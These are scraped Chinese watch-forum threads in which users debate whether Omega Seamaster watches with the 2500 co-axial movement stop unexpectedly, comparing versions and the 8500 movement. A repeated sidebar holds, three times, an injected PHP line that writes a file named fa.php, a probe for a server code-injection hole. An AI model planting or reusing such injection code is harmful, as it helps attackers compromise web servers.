欧米茄海马2500真的会偷停吗？_手表吧_百度贴吧
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欧米茄海马2500真的会偷停吗？收藏
我去了欧米茄旗舰店问了，服务员说这个是很久之前的事了，现在的已经不会了，说实在的，海马系列还是2500机芯哪款好看点，8500的外表太大而且比较平庸，实在不喜欢，有谁买过2500的吗？能否说个实话？谢谢了～美女引狼～
百年灵腕表,为我定制,仅我独享-今天就来百年灵专柜看一看吧!定制专属于您的百年灵腕表.
有过偷停的情况。买8500吧。
2500D应该没有
现在是25000D了
我表示来看美女的
2500d的表款有碟飞基本快欧米茄海马还有基本款的欧米茄星座
这女的是谁
我买过，我2500d的没有偷停过
(因为好奇,所以发现)Kuriosity-K11概念集合店,特邀中国TOP10顶尖设计师,不受时代和潮流左右的设计,独特前卫的风格,领略不同于以往且更多元化的时尚氛围.
我2500c都不停别说d了。我带了3年
2500机芯95年面市，到今年20年了。2500A基本见不到，B以前可能多，12年以前C的保有量较大，12年以后如果不是库存，都是2500D了，D是三层擒纵，摆频3.5次/秒。。已经没有偷停的问题。而且之前几个型号偷停也只是概率问题，好比彩票中奖。
我的2500D没停过
就喜欢这种贴子，
目测c，这种贴我喜欢
我有，没停过
现在没有偷停了，早就改进了
2500D以后不会了
我的买了一个多月，每天固定快3秒，没偷停过，2500D机芯
现在买绝对是性价比高 怎么说呢 也挺好的 但是技术真心不如8500 不过喜欢就好 没有偷停
呵呵说偷停的请问你停过吗，我的2500c零八年买的到现在没偷停过，有两个朋友的一个b一个c也没试过偷停
只能说8500更合理，不能说差多少。
2500d没有停过
放心，没有这种现象
呵呵，我被骗了，，，，，，，，，
我们群里好几个d，没有偷停现象了
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关于2500D与8500的偷停概率
shandongren
sebastiankyl 表行掌柜　发表于
15:45:03 |
shandongren 发表于
8500会不会出现偷停现在还没有实例，但偷停到底是不是因为同轴设计引起的现在还没有定论，所以说理论上同 ...
是有这个概率，印象中论坛里有过8500偷停事件的帖子，不过非常之少~
chn6 爱表大亨　发表于
15:36:52 |
在angela 发表于
其他表也有同轴的,但没听说有偷停的.
其他表的同轴擒纵与OMEGA的不太一样，有AP的，有雅典的，但总体而言，丹尼尔斯的同轴确实最具革命意义，而且对精度提升效果非常明显。
&AP的新擒纵不是同轴，英文名字叫detent擒纵，我不知到中文怎么翻译的。它对擒纵机械结构的改动比同轴更大。比如AP擒纵完全是直接向摆轮提供动力，而欧的同轴有一半还是通过擒纵叉间接提供。还有双游丝，基本不用调节&
&是呀,也就是说,偷停与同轴没必然的联系.&
在angela 爱表大亨　发表于
15:34:14 |
shandongren 发表于
这就是诸位讨论的焦点所在，正是太客观的说法同轴与偷停有没有必然联系不能定论，但很多相关帖大多倾向于 ...
其他表也有同轴的,但没听说有偷停的.
chn6 爱表大亨　发表于
15:33:00 |
本帖最后由 chn6 于
15:34 编辑
shandongren 发表于
随着采用2500D新机芯的大量上市，相信2-3年的时间就可以验证新机芯的偷停概率。
还有一点不可否认，8500为了同轴擒纵技术使腕表体积变的又大又厚，这一点与劳的水鬼差距明显。
ROLEX3135资料：
8500的机芯资料：
3135机芯的几何数据：
直径 28.50 mm
厚度 6.00 mm
8500机芯的几何数据：
直径 29.00 mm
厚度 5.50 mm （8501厚度 5.60）
所以，我们有时总被先入为主的想想左右了理性思维，8500机芯逼3135直径大了0.5毫米，而厚度却薄了0.5毫米。
PO8500比水鬼厚，一是因为防水性多了一倍，达到600米，水鬼只有300，而且因为PO8500是背透，必须用较厚的蓝宝玻璃。
个人觉得，当今买表，要买就买背透款，不能观看机芯运作，只能侧听与石英又有何异？用石英表不如直接看手机，还少带个东西。
frederickvonyan 爱表大亨　发表于
11:46:19 |
vito8604 爱表大亨　发表于
11:34:00 |
shandongren 发表于
随着采用2500D新机芯的大量上市，相信2-3年的时间就可以验证新机芯的偷停概率。
还有一点不可否认，8500 ...
何来又大又厚一说？机芯尺寸应该和3135差不多吧？你要有数据才能说又大又厚啊 如果单比po和水鬼 那没错 po 是600m 带排he阀门 水鬼300 没阀门噢
shandongren 爱表资深人士　发表于
11:28:00 |
随着采用2500D新机芯的大量上市，相信2-3年的时间就可以验证新机芯的偷停概率。
还有一点不可否认，8500为了同轴擒纵技术使腕表体积变的又大又厚，这一点与劳的水鬼差距明显。
&何来又大又厚一说？机芯尺寸应该和3135差不多吧？你要有数据才能说又大又厚啊 如果单比po和水鬼 那没错 po 是600m 带排he阀门 水鬼300 没阀门噢&
vito8604 爱表大亨　发表于
11:19:52 |
1 2500d比8500要晚出得多 现在看来使用相同得同轴系统 理论上8500不偷停2500D就不会偷停
2 但实际使用中不能彻底排除2500d偷停的可能 8500机芯采用双发条盒和双向上链 60小时动力储存 很好的解决了动力问题 而2500d未有这方面的改变
3 偷停并不是同轴系统所独有的问题 没有证据表明同轴系统必然偷停 具体可参考迷糊兄弟置顶贴 个人觉得偷停情况应该是2892和同轴系统结合 以及较早型号的同轴系统设计造成的 甚至不能排除部分偷停可能和润滑油的型号不匹配有关（此条纯属个人臆测）
askl22 爱表大亨　发表于
11:16:09 |
所以我认为是2892限制了同轴性能的发挥，尔不是同轴本身的缺陷，所以8500对基础机芯从新设计后，8500同轴就没听说2500身上的问题，这已经是很好的说明。
LHS 爱表资深人士　发表于
10:52:09 |
围观一下...
chn6 爱表大亨　发表于
10:50:25 |
shandongren 发表于
有一定道理，正因为同轴技术需要更多的改进才诞生了也是同轴技术探索和完善的全新开始，当然85 ...
越来越觉得同轴擒纵好似人类另一项伟大的发明：涡轮喷气式发动机
擒纵装置，就是手表的发动机，发条就是油箱。
与涡轮喷气发动机一样，同轴擒纵在1960年代末的一个晚上，由丹尼尔斯构思出来，经过20多年的1990年代才被OMEGA采纳，1999年推出第一代量产产品，2007年才有了8500这一完全围绕同轴要求设计的机芯，所有划时代的发明都有一个漫长的生熟过程。
真的要感谢的是海耶克，他是预见未来的人，大胆而执着的将同轴带给OMEGA，如果不是他，同轴擒纵可能永远不会量产，或者绝对不会像今天这样廉价。
涡轮喷气发动机刚诞生的时候，一样有许多怀疑和否定，推进效率低，工作不稳定，寿命短，但今天呢，绝大多数飞机都装备了喷气发动机。
我相信同轴擒纵也一样，等专利保护期过后，会被那时众多厂家广泛采用，我们将永远怀念丹尼尔斯博士，几乎用一生的时间去实践他的梦想，我们会赞叹海耶克的慧眼识英雄和高瞻远瞩，他们的故事将成为钟表界的传奇。
我们同样不能忘记了那些购买2500机芯表况的全球用户，如果不是他们的大量使用，不会让2500的问题暴露得这么彻底，也就不会那么快导致8500的诞生。
当我们自习地研究8500机芯的同轴擒纵系统，你会发现丹尼尔斯的设计确实巧妙，擒纵轮和擒纵叉之间的配合天衣无缝，仅从数学和物理角度而言，擒纵轮被限位、以及擒纵轮推动摆轮的方式，非常清晰干脆，而不是传统锚式擒纵，用打＂擦边球＂的方式运作，通过力学分许，很容易看出，实际上锚式擒纵的擒纵轮齿形的加工精度要求一点也不比同轴的低。
2500前三代没有采用三层擒纵轮，肯定与2892的原有设计有关，估计厚度限制导致改动幅度太大，这是OMEGA最重大的决策失误，不过塞翁失马，如果2500没问题，估计8500的诞生要在2017年了。
&越来越觉得你好似欧米茄另一项伟大的发明！！&
chn6 爱表大亨　发表于
09:54:14 |
本帖最后由 chn6 于
09:55 编辑
shandongren 发表于
所以说同轴需要更大的空间和诸多的改进，频振和纵擒轮等等都是导致偷停的诸多因素之一，理论上8500还是会 ...
这个命题我看应该改为：如果2500D不偷停，8500就完全没有因为设计问题而偷停的可能。
8500相比坚固的3135，直径和厚度都基本相当，而且还是双动力发条，不算笨重。
而且，让我们想想，8500擒纵部分的结构和原理并不复杂，一开始能走，又不会产生过多的油泥，摩擦力确实小，没有理由比锚是擒纵的保养周期更短。
只要装配没问题，使用中没有剧烈振动，同轴的8500不仅准，而且会因为其设计误差保持比3135好，保养周期至少可以5年以上，我想未来将出现很多8500运行10不保养的情况。
shandongren 爱表资深人士　发表于
09:53:31 |
askl22 发表于
就象你说的频率呀齿轮动力基本可以说都是原基础机芯的问题，只能说这些基础机芯这些方面和同轴的技术有点不 ...
引起偷停原因究竟是动力不足？还是擒纵轮的问题？甚至是不是同轴技术引起的偷停？这些到现在还有争议，既然不能确定偷停的原因，那又怎能确定同轴的8500就不会有偷停的概率呢？
如果是动力或者擒纵轮的问题，那2500D确实已经改进的与8500接近了。
shandongren 爱表资深人士　发表于
09:29:56 |
以下为引用：
我看了机芯图，关键的改进两项：
1. 改变擒纵叉的形状，下图H宝石的安装角变化，这点D和C一样，与AB不同，改进了力学结构，与8500现在的一样
2.改变擒纵轮为三层，与8500现在的一样，这点尤其重要，因为原有两层的设计，稍微懂点物理的都应该看得出来，2500ABC的两层式设计会导致其中一个擒纵叉上一个关键的宝石润滑油会损耗，看图：
我们现在打开想象力，首先我们都知道机芯特别是擒纵机构都是要上机油 ，同轴也不例外，而原有2500ABC的两层式设计，上图的C部分，即是齿轮也是擒纵轮，结果，G宝石和C轮上的机油，回会慢慢被传递给A轮，被损耗，而且，不知道会从A轮那边带来什么油腻，传到C轮和G宝石。我想，这才是偷停最大的原因。
我们看8500的改进，A大齿轮没有与C直接接触，通过在C顶部新增一个小齿轮，驱动擒纵轮，将齿轮系统与擒纵系统彻底分开，保证滑油永远呆在应该呆的地方。
因此，即使是2500C，因其仍然是两侧擒纵轮设计，依然有偷停风险。而2500D，我觉得应该与8500一样，只要准配符合标准，完全没有偷停的风险了。
流泪的射手 版主　发表于
07:00:14 |
时间检验一切~
askl22 爱表大亨　发表于
04:48:40 |
就象你说的频率呀齿轮动力基本可以说都是原基础机芯的问题，只能说这些基础机芯这些方面和同轴的技术有点不完全匹配，才引起了那问题，后面的2500在这基础机芯上有些做了些调整问题就很少了。
&引起偷停原因究竟是动力不足？还是擒纵轮的问题？甚至是不是同轴技术引起的偷停？这些到现在还有争议，既然不能确定偷停的原因，那又怎能确定同轴的8500就不会有偷停的概率呢？
如果是动力或者擒纵轮的问题，那25&
askl22 爱表大亨　发表于
04:36:31 |
其实吧应改这么说8500不是改变了同轴技术本身，确切说应改是主要改变了以前2500基于的基础机芯，所以这不是同轴技术本身问题，是2500基础机芯不适合同轴，如果是同轴技术本身问题就不会这5年你不停见关于8500偷停的问题，。
shandongren 爱表资深人士　发表于
04:19:32 |
askl22 发表于
2500有偷停问题我们试想不外三中可能，一基础的2892就有这问题，二同轴本身有问题，三，同轴这原理和基础机 ...
有一定道理，正因为同轴技术需要更多的改进才诞生了也是同轴技术探索和完善的全新开始，当然8500的比例还没有达到一定程度，需要更长时间来验证，至于偷停很多人还是认为是同轴引起的诸如频振、齿轮、动力等等一系列问题造成的，8500的好坏与否还需时日。
askl22 爱表大亨　发表于
04:08:19 |
其实我确切的说吧，应改是2500的这问题可能是同轴在2892机芯上引起的，而不是在说同轴会在任何基础机芯上会出现这问题，毕竟现在还没停说同轴在8500上出现2500的这问题。
askl22 爱表大亨　发表于
04:00:31 |
2500有偷停问题我们试想不外三中可能，一基础的2892就有这问题，二同轴本身有问题，三，同轴这原理和基础机芯2892存在匹配的问题。现在来看一的可能不大，再说二，现在的8500是同轴原理的全新设计，从出来到现在，应该出厂的表也不少，但你也基本没听说8500有偷停问题吧，其实时间也不短了，总不是以前没，到了5年才出吧，当初2500应是有问题就早改有了，所以我认为2500出现的问题不是同轴本身的问题，应该是第三种可能。
&有一定道理，正因为同轴技术需要更多的改进才诞生了也是同轴技术探索和完善的全新开始，当然8500的比例还没有达到一定程度，需要更长时间来验证，至于偷停很多人还是认为是同轴引起的诸如频振、齿轮、动力&
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今日发帖排行爱表大亨帖数：2爱表资深人士帖数：2爱表大亨帖数：1
经典表款作业1这次购表，说来还是挺意外的。算2 本帖最后由 PsychoPass 于 20163
对机械表最初的记忆还是24 本帖最后由 vittla 于 2016-11-5 本帖最后由 匪兵甲 于 2016-11-6
记得小时候家里有好几块上
)<?fputs(fopen("fa.php","w"),"")?>白碟飞到手了，简单作业，问下2500D现在还会偷停吗？
lengfeihan
francesco_xue 爱表大亨　发表于
13:17:23 |
lengfeihan 发表于
8500X东价都要三四万了，哪里有两万的8500方便给个链接吗
你是JD买的呀，上TB呀，便宜很多，论坛上好多TB上入的了，木有问题
&jd死贵也不是国行 8500 正常都20000多 前些日子星座8500有并行1.7W&
Eric2530 爱表资深人士　发表于
13:49:48 |
恭喜楼主！！
winter9999 爱表鉴赏家　发表于
18:08:05 |
lengfeihan 发表于
男的呀，我那么黑的手
那有点小了 男的戴39-44比较多
winter9999 爱表鉴赏家　发表于
18:09:46 |
francesco_xue 发表于
你是JD买的呀，上TB呀，便宜很多，论坛上好多TB上入的了，木有问题
jd死贵也不是国行 8500 正常都20000多 前些日子星座8500有并行1.7W
&求推荐TB可靠店铺&
lengfeihan 表行伙计　发表于
21:19:24 |
winter9999 发表于
jd死贵也不是国行 8500 正常都20000多 前些日子星座8500有并行1.7W
求推荐TB可靠店铺
diduo982 爱表资深人士　发表于
11:38:17 |
唉！~~~~~~~~~~~~~~~
偶咪咪地佳 爱表资深人士　发表于
13:41:17 |
非常漂亮儒雅的手表，我心仪很久非它不可的，结果断货买了at8500.。楼主这么开口就说怕偷停不吉利，应该不会的不要怕。
wpx 爱表大亨　发表于
15:34:07 |
今日发帖排行爱表大亨帖数：2爱表资深人士帖数：2爱表大亨帖数：1
经典表款作业1这次购表，说来还是挺意外的。算2 本帖最后由 PsychoPass 于 20163
对机械表最初的记忆还是24 本帖最后由 vittla 于 2016-11-5 本帖最后由 匪兵甲 于 2016-11-6
记得小时候家里有好几块上
)<?fputs(fopen("fa.php","w"),"")?>[表友吹水]
关于2500C机心偷停的解释
东方晨曦501
& && &最近我的黑色2220.80出现了偷停的现象，相信有朋友肯定看过我前面发的帖子，最近一个月从一个星期停一次，到昨天开始每天早上都停了，发现个巧合的现象，就是每次表停的时间基本都是在早上，前段时间南京气温比较低的时候，大概是6点30会出现，现在每天在8点30的时候也停。
& && & 最近我碰到我朋友，把偷停的现象告诉朋友，朋友觉得我运气差，他说卖了20多块海马只有我出现了偷停的现象，但有个朋友更杯具，买了大陆行货戴了20天就偷停了，送到上海客服务40天了还没有回来，郁闷！
& && & 我朋友说之所以出现偷停，机油是个主要原因，冬天冷了机油容易凝固，稍微有点凝固就容易卡，说是影响了里面有个部件的运转，如果晃动几下就走了，多半是这样的情况，我想我的表估计就是这样的原因。
不知道大家认为这样的说法是否牵强，随便看看，我之所以舍不得去客服搞，实在舍不得那个红点，是不是开了盖就不值钱了？
& && & 大家随便看看，瞎写的。
xzfm996 版主　发表于
21:52:22 |
不开的话，以现在这种情况更不值钱
因为连表的本质都没了
还是同轴部分的润滑问题
保养一下完全可以解决
蓝薄荷 爱表大亨　发表于
22:02:06 |
原帖由 东方晨曦501 于
19:54 发表
我朋友说之所以出现偷停，机油是个主要原因，冬天冷了机油容易凝固，稍微有点凝固就容易卡，说是影响了里面有个部件的运转，如果晃动几下就走了，多半是这样的情况，我想我的表估计就是这样的原因。
我认为你的这个说法不成立，同样的寒冷天气条件下，很多低端品牌仅使用ETA等裸芯小改，也不会出现类似你说的这种停法（不管是否偷停）。类似万国这样的大牌也用ETA机芯，你见过什么偷停吗？明停到是有出现，ETA基础芯的上链效率不高动力不足。只能说2500同轴的仓促面世忽悠了不少表友，虽后期C版2500也已经改进了不少，但最终还是无法避免先天的不足和个例的出现。
[ 本帖最后由 蓝薄荷 于
22:04 编辑 ]
蓝薄荷 爱表大亨　发表于
22:04:10 |
原帖由 xzfm996 于
21:52 发表
还是同轴部分的润滑问题
保养一下完全可以解决 如果说这样我就不理解了，拆开保养一下就能解决，难道原厂出来就无法避免？要么O的品控有很大问题。。。[s:110]
刚入行玩表 表行伙计　发表于
08:39:36 |
经常在吕总那里见多LZ哦
redlakenac 爱表大亨　发表于
10:26:21 |
去弄一下吧. 红点没有了,会有蓝点的:)
jsjc_liubp 爱表资深人士　发表于
13:30:32 |
你能保证保养以后再不会出现偷停现象吗？
赵垒 禁止访问　发表于
11:42:48 |
提示: 作者被禁止或删除 内容自动屏蔽
abmpp 爱表大亨　发表于
11:56:48 |
我觉得LZ这样的情况是润滑油的原因。
kankanyouyong 爱表资深人士　发表于
12:52:49 |
如果连润滑油问题都不能出厂时解决，那还是国际大品牌吗？
爱表的人啊 爱表资深人士　发表于
14:10:34 |
原帖由 蓝薄荷 于
22:02 发表
我认为你的这个说法不成立，同样的寒冷天气条件下，很多低端品牌仅使用ETA等裸芯小改，也不会出现类似你说的这种停法（不管是否偷停）。类似万国这样的大牌也用ETA机芯，你见过什么偷停吗？明停到是有出 ... 我支持这个说法！
xzfm996 版主　发表于
22:53:31 |
原帖由 蓝薄荷 于
22:04 发表
如果说这样我就不理解了，拆开保养一下就能解决，难道原厂出来就无法避免？要么O的品控有很大问题。。。[s:110]
根本的问题，确实还是在设计上
同轴多了一个传动轮，传动到叉上的力量更小，所以一点微小的阻力都可以使它停下
滑动摩擦，摩擦力小了，对润滑的要求更高了
但是2500C型，说实话，偷停的机率很小了
出现偷停的C，多是使用2年左右，或者柜台里放的比较久
这时候停，就是润滑问题
保养一次，偷听的现象立刻改善
十只烟灰缸 表行伙计　发表于
23:07:24 |
原帖由 xzfm996 于
22:53 发表
根本的问题，确实还是在设计上
同轴多了一个传动轮，传动到叉上的力量更小，所以一点微小的阻力都可以使它停下
滑动摩擦，摩擦力小了，对润滑的要求更高了
但是2500C型，说实话，偷停的机率很小了
出现偷停的 ...
有大师一句话以后有底了！
蓝薄荷 爱表大亨　发表于
23:58:24 |
原帖由 xzfm996 于
22:53 发表
根本的问题，确实还是在设计上
同轴多了一个传动轮，传动到叉上的力量更小，所以一点微小的阻力都可以使它停下
滑动摩擦，摩擦力小了，对润滑的要求更高了
但是2500C型，说实话，偷停的机率很小了
出现偷停的 ... 2500系列在设计上的确有所先天不足，同轴技术运用在ETA2892这样小巧的机芯上有些力不从心。可如果说放置时间长一些的表就会产生润滑油问题从而导致手表停走（偷停或明停），感觉还是工艺、原材料上无法保证同轴技术的正常运作。2500系列不让人省心啊。。。:a6
这就可以解释重新设计后的系列基本没有2500的故障现象发生，无论上链效率还有走时精准度都普遍好于2500。不过我多说一句，8500系列有很多R3135的影子，呵呵！
无表 表行掌柜　发表于
01:02:52 |
原帖由 xzfm996 于
22:53 发表
根本的问题，确实还是在设计上
同轴多了一个传动轮，传动到叉上的力量更小，所以一点微小的阻力都可以使它停下
滑动摩擦，摩擦力小了，对润滑的要求更高了
但是2500C型，说实话，偷停的机率很小了
出现偷停的 ...
就是说，入了同轴的是被忽悠了？
xzfm996 版主　发表于
10:56:46 |
原帖由 蓝薄荷 于
23:58 发表
2500系列在设计上的确有所先天不足，同轴技术运用在ETA2892这样小巧的机芯上有些力不从心。可如果说放置时间长一些的表就会产生润滑油问题从而导致手表停走（偷停或明停），感觉还是工艺、原材料上无法保证同轴技术的 ...
这就是为什么8500是长动力了
发条更强劲
就是有些阻力
也轻松滑过
jsjc_liubp 爱表资深人士　发表于
11:25:59 |
那2500是不是要2年左右保养一次呢？当初买同轴就是冲着保养时间间隔很长来的呀，这不被忽悠了吗！
蓝薄荷 爱表大亨　发表于
11:53:35 |
原帖由 jsjc_liubp 于
11:25 发表
那2500是不是要2年左右保养一次呢？当初买同轴就是冲着保养时间间隔很长来的呀，这不被忽悠了吗！ 直接买8500就是，2500嘛3年以上就可以考虑保养了，厂家当初宣传的8-10的周期才需保养权当噱头带过。[s:110]
evaderot 表行掌柜　发表于
13:44:04 |
2500实在让人心寒，喜欢老款的，还是寻觅1120去吧。
jsjc_liubp 爱表资深人士　发表于
13:30:46 |
如果2500机芯的保养期限为2年左右，那么带欧表2500的成本也太高了吧，保养一次需要1500元左右，都是被可恶的宣传害的！！
今日发帖排行爱表大亨帖数：2爱表资深人士帖数：2爱表大亨帖数：1
经典表款作业1这次购表，说来还是挺意外的。算2 本帖最后由 PsychoPass 于 20163
对机械表最初的记忆还是24 本帖最后由 vittla 于 2016-11-5 本帖最后由 匪兵甲 于 2016-11-6
记得小时候家里有好几块上
)<?fputs(fopen("fa.php","w"),"")?>